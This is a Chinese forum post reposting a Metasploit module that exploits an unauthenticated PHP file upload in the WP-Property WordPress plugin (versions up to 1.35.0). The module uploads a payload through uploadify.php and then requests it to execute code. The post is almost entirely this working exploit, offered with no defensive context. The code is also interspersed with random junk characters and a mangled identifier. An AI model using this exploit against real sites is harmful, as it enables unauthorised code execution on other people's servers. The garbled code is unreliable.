找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2313|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
) R+ j% a+ W! P" W4 t9 E3 J+ L# k! R: C, e
## # This file is part of the Metasploit Framework and may be subject to
4 I& K! }- ^7 d4 G, x. {
2 M& T, U& o9 F" `$ }9 Z- e/ d# redistribution and commercial restrictions. Please see the Metasploit
, ^. W1 |: \  q8 I  ~7 ~) t% l0 l. i0 g3 t" o6 E" d% z0 }+ L
# Framework web site for more information on licensing and terms of use.$ ?' V# r6 {% S, x8 Q3 z

% z* i! m- \1 i0 ], P#   http://metasploit.com/framework/ ##; I) J+ _- Q. q* H; k% Q0 Z* y
. l6 s% T9 T* u

* F: m- h6 [2 s4 S  x3 k6 B9 Z8 K# M, F" t
' t8 {  T+ L& m/ c' L: ~

+ ?6 X8 G% |% P1 n* b1 A3 Q% rrequire 'msf/core'
# v! H0 _5 f( H8 a2 R, krequire 'msf/core/exploit/php_exe') R  J# u4 ~* U3 {

" {2 O8 k* [: i& m; Vclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
1 C& n- Y8 _, k. k* c* q% Y  E'Description'    => %q{
! ~! q3 B& s( ?3 QThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
% R- R4 G0 V3 N% i5 K4 \9 }[
# H4 f( q5 ]/ i; z'Sammy FORGIT', # initial discovery7 X5 }8 U7 R! k$ B
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
$ G0 k+ o" S, j* ?* R3 Y! v],( h! t* N1 t& e% @7 l0 {% a* W* }
'License'        => MSF_LICENSE,+ h& E7 U0 w' j% X" |; R, {9 F
'References'     =>0 T4 p: g2 p! X
[5 N' K- A; @3 C+ P
[ 'OSVDB', '82656' ],5 @. v; M. u2 ]6 c5 `
[ 'BID', '53787' ],
1 r, z( x6 c; P+ i  N/ Y[ 'EDB', '18987'],, u! f3 w) @0 E
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]/ y$ f. k1 p( |8 N% Q
],: s! o; ]$ |- J% a% ^" k/ Q
'Payload'        =>
+ [) {4 K& Z2 E* \{
9 ]) u  ^4 w) W% N# u9 y0 Q, @'BadChars' => "\x00",/ w+ o- ]8 q) V! s
},
+ y! V9 q' `8 c2 M1 o. w3 x'Platform'       => 'php',# N$ N) ^) m! X1 U5 Y( J) p8 f
'Arch'           => ARCH_PHP,
0 Q0 N% E+ n9 s# i'Targets'        =>; H) T1 u1 H/ N
[+ [" P$ ]& d3 O9 w  r( f; y+ Y' T9 T
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],; g6 h/ d' J* B+ ?6 t
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]* `5 @7 e8 Z/ i3 Y- z
],
; l- a: K' {7 q# r* y) m8 t' Z8 L'DefaultTarget'  => 0,
' s: _# V9 q: C  P6 R# ~'DisclosureDate' => 'Mar 26 2012'))
6 l( x2 c- A& ~/ I8 i: I9 [. Z" ?7 o9 }9 k9 I' H
register_options(
$ u; E& H! y# K4 ]6 N& g: Y[* Q2 t7 ?7 f$ W  g/ C, h7 X
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
: Y0 x& g* D! A1 @], self.class)
. g2 A! W* `2 O0 S; ?end
& Q/ C4 B. {; P8 r! @  R& J! E' T- m3 Q9 Q" V) D( y0 L3 Y
def check2 ^  l0 i  N8 ?: e9 C/ w
uri =  target_uri.path
  W- I. W9 L% D0 Q$ [: o: M4 duri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
0 q. ?( D! c( u, K  K' @: w'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
9 Q& T$ w% U" ?3 {})
- E& z3 A2 K' Z' F7 w  Z8 A  V. w6 V& ~9 C
if not res or res.code != 200
0 @. T  v5 Y2 e  t# Mreturn Exploit::CheckCode::Unknown7 C8 @" [9 ?: B+ M6 H5 f
end
5 H- z- y7 j; \+ O- ]% `$ L9 o/ d% y) `. K0 c  _
return Exploit::CheckCode::Appears# @! }1 A2 q0 h+ o* L
end$ ~/ [6 K, V' c" U

6 ?3 s7 Y  D  i$ Ydef exploit
; n+ [/ W. }! @" `" q5 a1 euri =  target_uri.path) j# X/ A! B  A: U2 A( T
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)7 f( o2 Y/ ^& Z$ q

- L" C( c! @; E# c  ~7 r( [data = Rex::MIME::Message.new
2 d, |" ^9 C1 w6 ~* Z7 C! H' ]data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")6 c9 _$ J8 f- q5 s
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")1 D2 ^6 U1 K0 e9 ^+ F* t' T
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
( F1 w( |/ G0 W( {1 W
  K2 ~: ^5 R- H0 K$ f- M: l9 tprint_status("#{peer} - Uploading payload #{@payload_name}")' ?; w3 Q- `" K( y  b+ s& d  z* n
res = send_request_cgi({3 i* g7 t* t6 Z. A+ [/ ?! h+ k4 E1 R  @
'method' => 'POST',1 f1 t/ G& {& o3 p( L
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",' f+ p2 M2 ~$ U
'ctype'  => "multipart/form-data; boundary=#{data.bound}",8 c# j" c% ^  L/ h' t( _$ R
'data'   => post_data# C4 ]& W! T8 K
})
! K4 N& g8 k  p! k2 s
( N% V, t8 Q0 I4 Z/ sif not res or res.code != 200 or res.body !~ /#{@payload_name}/
% L4 a) O! X0 L3 Zfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")4 w% R2 z9 h. |
end# e9 _; E! |  ^

8 L7 D; A/ d) [/ {. g: n3 D3 iupload_uri = res.body" M0 Y/ v* [0 W) d2 L/ R, `$ [

$ @1 e" _: j* E5 ]print_status("#{peer} - Executing payload #{@payload_name}")7 {/ T6 j' b% x( U
res = send_request_raw({
5 e# Z! ]& L1 l'uri'    => upload_uri,
3 d. x" G$ T+ Z" t8 \'method' => 'GET'4 i5 N. T! K9 w
})
; O. y0 H1 D; K; P  Fend$ R  G; B- w3 F3 ?
end
& F1 p2 I# ~: C3 }
; H: M- Y/ N8 H+ ?" P& W2 {! ?不要问我这写的是什么 怎么利用 我是说msf.
& y" ~  E9 r# P. A8 C1 h0 `% \4 w- ~
  B: o' X( z# Y3 O' X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表